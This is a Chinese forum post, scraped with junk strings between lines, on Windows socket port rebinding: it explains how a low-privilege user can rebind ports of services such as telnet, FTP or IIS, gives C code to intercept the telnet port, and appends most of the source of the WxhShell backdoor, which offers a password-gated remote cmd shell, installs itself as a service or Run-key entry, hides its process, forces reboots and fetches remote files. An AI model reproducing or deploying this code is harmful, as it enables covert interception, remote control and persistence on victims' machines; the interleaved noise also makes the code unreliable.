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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~
H $q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {9YNv<3 qY%{c-aMA saddr.sin_family = AF_INET; *m`KY)b=l qy: saddr.sin_addr.s_addr = htonl(INADDR_ANY); x)!NB99(tC a%)-iL
X8& bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?#_] Lzn' O;~dao 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w|WehNGr mLL?n) 这意味着什么?意味着可以进行如下的攻击: e$y VV# nK5FPFz8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Oa|'wh ug y}!}*Qj+/ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XhxCOpO 4]3(Vyh` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fS(IN~ 8^%Nl `_2B 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 8m;tgMFO nnPY8pdjSD 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o$-!E(p $C8nPl' 7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Gw)>i45: fG*366W 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p!xCNZ(m 27-GfC=7* #include e4/Y/:vFO #include =vZF/r #include {*J{1)2 #include xf]_@T; DWORD WINAPI ClientThread(LPVOID lpParam); _]# ^2S int main() x[5uz)) { $D)Ajd; WORD wVersionRequested; :7-2^7z) DWORD ret; :AM5EO WSADATA wsaData; I?_YL* BOOL val; <|MF\D' SOCKADDR_IN saddr; ^yo~C3r~ SOCKADDR_IN scaddr; w`$M}oX( int err; F6\Hqv SOCKET s; z nxAP| SOCKET sc; [|!A3o int caddsize; wfXm(RYM HANDLE mt; vz-O2B_u DWORD tid; k6?;D_dm wVersionRequested = MAKEWORD( 2, 2 ); n$oHr err = WSAStartup( wVersionRequested, &wsaData ); ~l@
h if ( err != 0 ) { L d;))e printf("error!WSAStartup failed!\n"); jJK`+J,i}X return -1; M)JKe!0ad1 } X5gI'u saddr.sin_family = AF_INET; iir]M`A.- GZwz4=` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hmQ;!9 DZ7<-SFU saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2`;&Uwt saddr.sin_port = htons(23); |r%NMw #y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XDdF7i} { BHZCM^ printf("error!socket failed!\n"); >{HQ"{Q return -1; %qYiE!%& } Ey#7L
M) val = TRUE; !|#W,9 //SO_REUSEADDR选项就是可以实现端口重绑定的
e#t7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1z5Oi u { <lo\7p$A printf("error!setsockopt failed!\n"); O8Dav^\y? return -1; QK`5KB(k' } Y*Ra!]62 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H6t'V%Ys //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9{KL^O?g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o#~Lb9`@U };Oyv7D+b if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cM hBOm* { k:QeZn( ret=GetLastError(); ?-Zl(uX printf("error!bind failed!\n"); :2zga=)g return -1; [(rT,31cW } 2t,N9@u=UN listen(s,2); u _mtdB' while(1) <%iRa$i5 { 4Y5lP00!} caddsize = sizeof(scaddr); Mm)yabP //接受连接请求 L}a-c(G+8 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
-k8<LR3 if(sc!=INVALID_SOCKET) 2Wn*J[5 { !*1$j7`tP mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bt{b%r if(mt==NULL) VtN1 [} { *671MJ9 printf("Thread Creat Failed!\n"); \_]X+o; break; xt&4]M
V } 'L@kZ } 7,lnfCm H CloseHandle(mt); x fa- } lDSF closesocket(s); S"4eS,5L| WSACleanup(); 21$E.x 6 return 0; 0,/I2!dF? } y1)ZO_' DWORD WINAPI ClientThread(LPVOID lpParam) 6Hp+?mmh { uCr :+"C SOCKET ss = (SOCKET)lpParam; RY
.@_{ SOCKET sc; d%za6=M unsigned char buf[4096]; ~].?8C.>* SOCKADDR_IN saddr; bu9.HvT' long num; z"97AXu DWORD val; ;_=N
YG. DWORD ret; UCt}\IJ //如果是隐藏端口应用的话,可以在此处加一些判断 bp!Jjct //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 JC MUK<CG saddr.sin_family = AF_INET; H76iBJ66 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PjD9D. saddr.sin_port = htons(23); p0[+Zm{#l if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bksv2@ar { Fw S>V2R printf("error!socket failed!\n"); ) ViBH\.*p return -1; f"*k>=ETI } A;<wv>T val = 100; {h=gnR-9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :r>^^tGT! { Cz)&R^ ret = GetLastError(); 6O<UW. return -1; NS65F7<& } 2t4\L3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8t3m$<7 { t/}NX[q ret = GetLastError(); F"bz<{ return -1; ;=7K*npT } /O5&)%N if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V2!0),]B { D#AqZS>B printf("error!socket connect failed!\n"); m8=n `XI closesocket(sc); x_/}R3d closesocket(ss); j*5IRzK1%0 return -1; 4-t^?T:qF } -OSj<m< while(1) wk ^7/B { r\d(*q3B //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c}+*$DeT //如果是嗅探内容的话,可以再此处进行内容分析和记录 n m<?oI*\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0'Si
^>bW num = recv(ss,buf,4096,0); Z6rhInIY if(num>0) x ZP*%yM send(sc,buf,num,0); Kp6 @? else if(num==0) =C2sl;7~* break; *68 TTBq( num = recv(sc,buf,4096,0); #]x3(}3W if(num>0) d)emTXB( send(ss,buf,num,0); r|=1{Nx else if(num==0) At"$Cu!k break; +]s,VSL5` } p_h/hTi closesocket(ss); "bIb?e2h9G closesocket(sc); P+0'^:J return 0 ; >Jmla~A } VD~5]TQ E?G'F3i X58U>4a ========================================================== Wk<fNHg 0k5-S~_\ 下边附上一个代码,,WXhSHELL VD$5 Djq I@MG?ZQ ========================================================== K9lekevB D xV=S0P #include "stdafx.h" &h0LWPl $Lr&V~ #include <stdio.h> ~= *o #include <string.h> E ?Mgbd3 #include <windows.h> AP=h*1udk #include <winsock2.h> o{G*7V@H #include <winsvc.h>
xgcxA: #include <urlmon.h> |n/;x$Cb 6u0>3-[6OD #pragma comment (lib, "Ws2_32.lib") LUbj^iQ9 #pragma comment (lib, "urlmon.lib") =/Gd<qz3 fAgeF$9@
#define MAX_USER 100 // 最大客户端连接数 { c#US #define BUF_SOCK 200 // sock buffer YGJ!!(~r #define KEY_BUFF 255 // 输入 buffer `(FjOd
K [kg?q5F) #define REBOOT 0 // 重启 7GOBb| #define SHUTDOWN 1 // 关机 QN#"c :C*}Yg #define DEF_PORT 5000 // 监听端口 s<zN`&t h mRmU{(Y #define REG_LEN 16 // 注册表键长度 o8R_Ojh #define SVC_LEN 80 // NT服务名长度 9;+&}:IVS Wx:v~/r // 从dll定义API X"!j_*&ED typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YB"gLv? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KnkmGy typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X5iD<Lh typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b* n3Fej Cw,a)XB // wxhshell配置信息 #c:s2EL struct WSCFG { `
IVQ int ws_port; // 监听端口 gy}3ZA*F char ws_passstr[REG_LEN]; // 口令 8g0 #WV int ws_autoins; // 安装标记, 1=yes 0=no q-(~w!e char ws_regname[REG_LEN]; // 注册表键名 _<(xjWp 8 char ws_svcname[REG_LEN]; // 服务名 3+Lwtb}XPF char ws_svcdisp[SVC_LEN]; // 服务显示名 ,/?J!W@m char ws_svcdesc[SVC_LEN]; // 服务描述信息 n+8YTjd char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tg\Nm7I int ws_downexe; // 下载执行标记, 1=yes 0=no h"1}j'2>@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" !igPyhi,hl char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RnkV)ed( LA6XTgcu }; X%YZQc9 16AlmegDk // default Wxhshell configuration oDZZ struct WSCFG wscfg={DEF_PORT, ^UvL1+ "xuhuanlingzhe", @ym:@<D 1, uU)t_W&-J "Wxhshell", MGF!ZZ\ "Wxhshell", TgcCR:eL= "WxhShell Service", &`m.]RV "Wrsky Windows CmdShell Service", 2!6hB sEr "Please Input Your Password: ", &>c=/]Lop 1, .V!5Ui< " http://www.wrsky.com/wxhshell.exe", Vx!ZF+ "Wxhshell.exe" xQZOGq }; 'gN[LERT &- p(3$jn7 // 消息定义模块 E/H9# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U9]&KNx char *msg_ws_prompt="\n\r? for help\n\r#>"; :7(fBf5 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; y;ey( char *msg_ws_ext="\n\rExit."; l3u [ char *msg_ws_end="\n\rQuit."; $D`Kz*/. char *msg_ws_boot="\n\rReboot..."; '@ 24<T] char *msg_ws_poff="\n\rShutdown..."; .B^tEBGVD char *msg_ws_down="\n\rSave to "; J)g
+I ~[!Tpq5 char *msg_ws_err="\n\rErr!"; 0Y0z7A: char *msg_ws_ok="\n\rOK!"; D Z~036 @^0}w k char ExeFile[MAX_PATH]; bSTori5 int nUser = 0; 9uxoMjR- HANDLE handles[MAX_USER]; sB0]lj-[Un int OsIsNt; +sx(q@ :2
\NG} SERVICE_STATUS serviceStatus; <YCjo[(~ SERVICE_STATUS_HANDLE hServiceStatusHandle; k Jz^\Re =8vwaJ // 函数声明 *[>{9V int Install(void); yu#m6K int Uninstall(void); Zp/P/97p int DownloadFile(char *sURL, SOCKET wsh); ke6,&s%{j int Boot(int flag); t^bh2$J void HideProc(void);
2X`t&zg int GetOsVer(void); D{7sfkcJ int Wxhshell(SOCKET wsl); Bz{"K void TalkWithClient(void *cs); C^?/9\
int CmdShell(SOCKET sock); :EPe,v RT int StartFromService(void); )1R[~]y int StartWxhshell(LPSTR lpCmdLine); k(`> (w a{e1g93} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S!-t{Q+j^ VOID WINAPI NTServiceHandler( DWORD fdwControl ); {DVMs|5;^ #m{F*(% // 数据结构和表定义 ^K<!`B SERVICE_TABLE_ENTRY DispatchTable[] = U4"&T,'lTL { $LBgBH&z {wscfg.ws_svcname, NTServiceMain}, $U&p&pgH=W {NULL, NULL} =g%<xCp }; f4`Nws-dP \"I418T K // 自我安装 ,\T `gh int Install(void) (\'lV8}U { &G-dxET] char svExeFile[MAX_PATH]; *>GRU8_} HKEY key; B%x?VOdBE strcpy(svExeFile,ExeFile); xxgdp. ( 2Z9ck|L> // 如果是win9x系统,修改注册表设为自启动 '8^cl:X if(!OsIsNt) { cI6Td*vM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1k%HGQM{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
J6
A3Hrg RegCloseKey(key); xgsEe3| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (nkiuCO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H ~<.2b RegCloseKey(key); H.Z<T{y;
return 0; D;:p6q}hT } aMK\&yZD } iII%!f?{[ } Tj2pEOu else { 3z k},8fu *mw *z|-^V // 如果是NT以上系统,安装为系统服务 $F/xv&t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,{'ZP_ if (schSCManager!=0) YvUV9qps~ { R_80J=%0 SC_HANDLE schService = CreateService gd0a,_`M ( (V}?y:) schSCManager, qnU`Q{ wscfg.ws_svcname, .|:R#VW wscfg.ws_svcdisp, H:q;IYE+a SERVICE_ALL_ACCESS, H=XdgOui SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]~pM;6Pu0 SERVICE_AUTO_START, #=ko4?Wr( SERVICE_ERROR_NORMAL, w,1*dn svExeFile, K7,Sr1O ` NULL, OP``+z> NULL, GCrsf NULL, (Kw%fJT NULL, +WCV"m NULL =Nz;R2{@ ); Xk :_aJ if (schService!=0) 3'55!DE { &!>.)I` CloseServiceHandle(schService); 8wCB}q C CloseServiceHandle(schSCManager); \XbCJJP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2FM}"g<8 strcat(svExeFile,wscfg.ws_svcname); qjN*oM, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5_rx$avm RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $L72%T RegCloseKey(key); RV@mAw.T return 0; 6"2IV } &8JK^zQq } p-6T,') CloseServiceHandle(schSCManager); w*7wSP } #a 4X*X.8c } yh+.Yn=+ 3g3Znb return 1; \
Ju7.3. } riSgb=7q9 ' $"RQ= // 自我卸载 nz/cs n int Uninstall(void) 5?>ES* { K#x|/b'5d HKEY key; % 3<7HY]~ m :2A[H+ if(!OsIsNt) { "BC;zH: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7J|nqr`>t RegDeleteValue(key,wscfg.ws_regname); acow RegCloseKey(key); +6(\7? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "|/Q5*L RegDeleteValue(key,wscfg.ws_regname); Wfsd$kN6{ RegCloseKey(key); O-n JuZJgX return 0; ,b t
j6hg } HDj260a } Upz?x{>x } 8-x)8B else { !WTL:dk 5p~hUP]tT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Fm[3Btn if (schSCManager!=0) 5a5)hmO RB { HnKXO SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pL,l if (schService!=0) uP^u:'VjbH { >LW}N!IBy if(DeleteService(schService)!=0) { L fZF CloseServiceHandle(schService); C40o_1g CloseServiceHandle(schSCManager); ]&X}C{v)G return 0; 6K^O.VoV^J } HmbQL2 CloseServiceHandle(schService); Yzw[.(jc} } <4582x,G CloseServiceHandle(schSCManager); &W{v(@ } gzN51B =D } ]#vi/6\J ==EB\>g| return 1; \q^:$iY~ } l_Zx'm x
kdC-S // 从指定url下载文件 "6Z(0 iu:{ int DownloadFile(char *sURL, SOCKET wsh) T@a|*.V { M[(pLYq: HRESULT hr; *NC@o* char seps[]= "/"; h=B=
J char *token; w^NQLV S char *file; :TkMS8 char myURL[MAX_PATH]; L2OR<3*|Av char myFILE[MAX_PATH]; z7TyS.z /O~Np|~v strcpy(myURL,sURL); "<LWz&e^^ token=strtok(myURL,seps); fg4mP_ while(token!=NULL) 13+.> { <,\U,jU_ file=token; M~~)tJYsu token=strtok(NULL,seps); 5]n\E?V'L } .eLd0{JtN }Eh &' GetCurrentDirectory(MAX_PATH,myFILE); KD?b|y@ strcat(myFILE, "\\"); cQm4q19 strcat(myFILE, file); x,ZF+vE send(wsh,myFILE,strlen(myFILE),0); <. *bJ send(wsh,"...",3,0); n~.$iN hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (>NZYPw^3 if(hr==S_OK) b`@J"E} return 0; :>U+HQll else c94=>p6 return 1; Sa
kew AQmHa2P } fH$#vRcq y
G3aF( // 系统电源模块 Np aS2q-d int Boot(int flag) pdvnpzj { :2K@{~8r HANDLE hToken; *QV"o{V TOKEN_PRIVILEGES tkp; >H ?k0M`L 52zE -SY if(OsIsNt) { ZvMU3])u OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *l=(?Pe< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ih>s2nL tkp.PrivilegeCount = 1; -$DfnAh tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &{UqGD#1& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ex6R=97uA if(flag==REBOOT) { i;-M8Q^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,Aai-AGG@ return 0; I]E 3&gnC } 6uT*Fg-G else { mEsb_3?#+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7ej u%d return 0; +vaA
P= } oeB'{bG } @XXPJq;J else { X-(4/T+v if(flag==REBOOT) { J=t}9.H~= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -Ep#q&\ return 0; W\NC3] } ".N+nM~ else { {:|3V 7X if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?_i>Kx return 0; [
'lu;1-, } rM"27ud[`_ } /Pkz3(1 (D) KU9B> return 1; J E7m5kTa } Uq$/Q7 `SsoRPW&$ // win9x进程隐藏模块 )38%E;T{X void HideProc(void) .Zv~a&GE { {MSE}|A\V 9K/EteS HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kuD$]A
Q`& if ( hKernel != NULL ) HFZ'xp|3dn { @$ Zh^+x! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2&>t,;v@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "(7y%TFt: FreeLibrary(hKernel); !>n!Q*\(Ov } rR-[CT 9<.O=-1~ return; [
gM n } wW1VOj=6V" {zvaZY|K" // 获取操作系统版本 m^}|LB:5 int GetOsVer(void) \&hq$ { z3K$gEve OSVERSIONINFO winfo; 3NLn} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g"1V] GetVersionEx(&winfo); jts0ZFHc- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HS/.H,X return 1; .Y;f9R else _ZK^JS return 0; N*}soMPV^. } N68$b#9Ry k`8O/J // 客户端句柄模块 t4_yp_ int Wxhshell(SOCKET wsl) ?J2A1iuq3 { kt2_WW[ SOCKET wsh; =JIceLL struct sockaddr_in client; z7bJV/f DWORD myID; OW4j!W qqf`z,u while(nUser<MAX_USER) Zek@xr;] { WJhTU@' int nSize=sizeof(client); mG&A_/e!9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S3ooG1 4Ls if(wsh==INVALID_SOCKET) return 1; eV|N@ "dX~J3$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'NhQBk if(handles[nUser]==0) ly17FLJ]. closesocket(wsh); k8+J7(_c else a31e.36g nUser++; !Ud'(iGa } l5{60$g WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UrizZ5a 0]|`*f&p; return 0; v"o"W[ } \mc0fY >0{}tRm-P& // 关闭 socket F tIcA"^N void CloseIt(SOCKET wsh) "kyCY9)% { wS*r<zj closesocket(wsh); #XDgvX > nUser--; =#V^t$ ExitThread(0); !Zj]0,^ } pY"WW0p"C ls^Z"9P // 客户端请求句柄 \Mg_Q$ void TalkWithClient(void *cs) 1n8[fgz { e.n(NW "=Br&FN{| SOCKET wsh=(SOCKET)cs; 1 P!)4W char pwd[SVC_LEN];
[P`e@$ char cmd[KEY_BUFF]; ~V8z%s@ char chr[1]; aZ4EcQ@-$] int i,j; +)sX8zb*gY lA5Dag' while (nUser < MAX_USER) { n^4R]9U 2Cz haO if(wscfg.ws_passstr) { ;|5-{+2 U% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f,cd=vGj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P }sr //ZeroMemory(pwd,KEY_BUFF); *H
Qc I- i=0; u1%URen[x while(i<SVC_LEN) { ^9[Q;=R .xsfq*3e5 // 设置超时 N; g@lyo fd_set FdRead; ^?VQ$o2 struct timeval TimeOut; <=*f FD_ZERO(&FdRead); 2|je{ FD_SET(wsh,&FdRead); A`Z/B[) TimeOut.tv_sec=8; M/?,Qii TimeOut.tv_usec=0; XDemdMy$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z10Vx2B if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k7CKl;Fck YZg#H)w% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t WI- pwd =chr[0]; AoS7B:T;! if(chr[0]==0xd || chr[0]==0xa) { ~5N}P>4* pwd=0; Z>9@)wo break; ,dIev< } xqG<R5k>> i++; h !^=
c } 8q[;
0 &zEQbHK6 // 如果是非法用户,关闭 socket Du+W7]yCl if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %\m"Yi] } Y %"Ji[ j7~FR{:j send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *jlIV$r_ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;V}:0{p CxFd/X, while(1) { %!<Y ;77K1 ZeroMemory(cmd,KEY_BUFF); v-1}&K R=z]) // 自动支持客户端 telnet标准 9ddrtJ] j=0; )E}v~GW.+ while(j<KEY_BUFF) { =>$)F 4LW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MR#*/Iw~ cmd[j]=chr[0]; n=.P46| if(chr[0]==0xa || chr[0]==0xd) { xa~]t<2 cmd[j]=0; Qm%PpQ^Lz3 break; |bY@HpMp } C-&ymJC| j++; f<YYo } y}?|+/ dN OEW'bT) // 下载文件 ETp?R WXX if(strstr(cmd,"http://")) { uZ+bo& send(wsh,msg_ws_down,strlen(msg_ws_down),0); 80=0S^gEZ if(DownloadFile(cmd,wsh)) j6m;03<| send(wsh,msg_ws_err,strlen(msg_ws_err),0); [4z,hob else p#@ #$u- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U2
*ORd } ){;XI2 else { N,(! :X0L6y)u switch(cmd[0]) { p`"k=tZ{ @aIgif+v // 帮助 @5>#<LV=E# case '?': { cLtVj2Wb send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :viW break; (> al-vZ6A } lzEynMO+ // 安装 qe0 D[L case 'i': { <tr]bCu} if(Install()) ;l$$!PJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); GK@OdurAR else 6r)P&J send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WK{`_c
U^ break; 51|ky- }
~>u.d // 卸载 cQU/z"?+ case 'r': { &hOz(825r if(Uninstall()) -%asHDQ{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); p*
>z:= else ]fyfL|(; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V1aP_G-: break; hOj{y2sc } @62T:Vl // 显示 wxhshell 所在路径 '}.Yf_ case 'p': { Xg)8} char svExeFile[MAX_PATH]; KkJqqO"EL strcpy(svExeFile,"\n\r"); P?0X az strcat(svExeFile,ExeFile); hG1:E:} send(wsh,svExeFile,strlen(svExeFile),0); 86ao{l6l C break; .U1wVIM } GY~$<^AK // 重启 zx.qN case 'b': { {EgSjxfmw send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U+S=MP
}: if(Boot(REBOOT)) l1 +l@r\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); f"MID6 else { +:MSY p closesocket(wsh); CFtQPTw ExitThread(0); }%wd1`l7 } 3lP;=*m. break; 'a~@q~! } ~ ld.I4 // 关机 A}9Z%U case 'd': { .t8)`MU6. send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >xFvfuyC if(Boot(SHUTDOWN)) 1NZ"\9=U send(wsh,msg_ws_err,strlen(msg_ws_err),0); E>~R P^?Uz else { n$iX6Cd closesocket(wsh); =?i?-6M ExitThread(0); &W<7!U:2m } [M|^e;tWK break; =*\s`ox` } ;blL\|ch; // 获取shell ,Z`}!%? case 's': { H/,KY/>i CmdShell(wsh); z*.AuEK? closesocket(wsh); aKI"<%PNn ExitThread(0); y=3 dGOFB break; P>/:dt'GJ} } {:X'9NEE // 退出 vX+oZj
case 'x': { DX_mrG send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e(c\ U}& CloseIt(wsh); [|]J8o@u^ break; {[y6qQm } 5!c/J:z // 离开 v">?`8V case 'q': { bLc5$U$!I send(wsh,msg_ws_end,strlen(msg_ws_end),0); CoN[Yf3\ closesocket(wsh); Al$z.i?R WSACleanup(); oi #B7 exit(1); +H-=`+, break; Eb3 ZM# } o_:v?Y>0 } )%(ZFn} } u6|C3,!z" _"8n&=+ // 提示信息 -PpcFLZ| if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #
55>? } ||:>& } 8 W Sp\TaUzg return; Qj^Uz+b } AlQhKL}|s ^*AI19w!Ys // shell模块句柄 JK2{9#* int CmdShell(SOCKET sock) JVoC2Z< { ;+~5XLk STARTUPINFO si; 'C5id7O& ZeroMemory(&si,sizeof(si)); W]po RTJ: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ):K% si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v6 5C
j2ec PROCESS_INFORMATION ProcessInfo; -_ 9k+AV char cmdline[]="cmd"; Y#os6|MV# CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s*PKr6X+ return 0; 'APx } mOJdx-q?r p4P=T@: // 自身启动模式 =NY;#Jjn int StartFromService(void) "1,*6(;: { /5sn*, typedef struct nL?P/ \ { JRB6T _U DWORD ExitStatus; as@8L|i* DWORD PebBaseAddress; /bykIUTKI DWORD AffinityMask; %V=%ARP| DWORD BasePriority; ]faj j\ ULONG UniqueProcessId; s",Ea* ULONG InheritedFromUniqueProcessId; no+m.B } PROCESS_BASIC_INFORMATION; K9@.l~n 8-<F4^i_i PROCNTQSIP NtQueryInformationProcess; Qhj']>#g )1
-<v); static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; My>q%lF=fw static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fd4gB6> dy+A$)gY< HANDLE hProcess; qIJc\,' PROCESS_BASIC_INFORMATION pbi; bo#xqSGQ [[w-~hHH - HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]n@T5*= if(NULL == hInst ) return 0; 1foG*
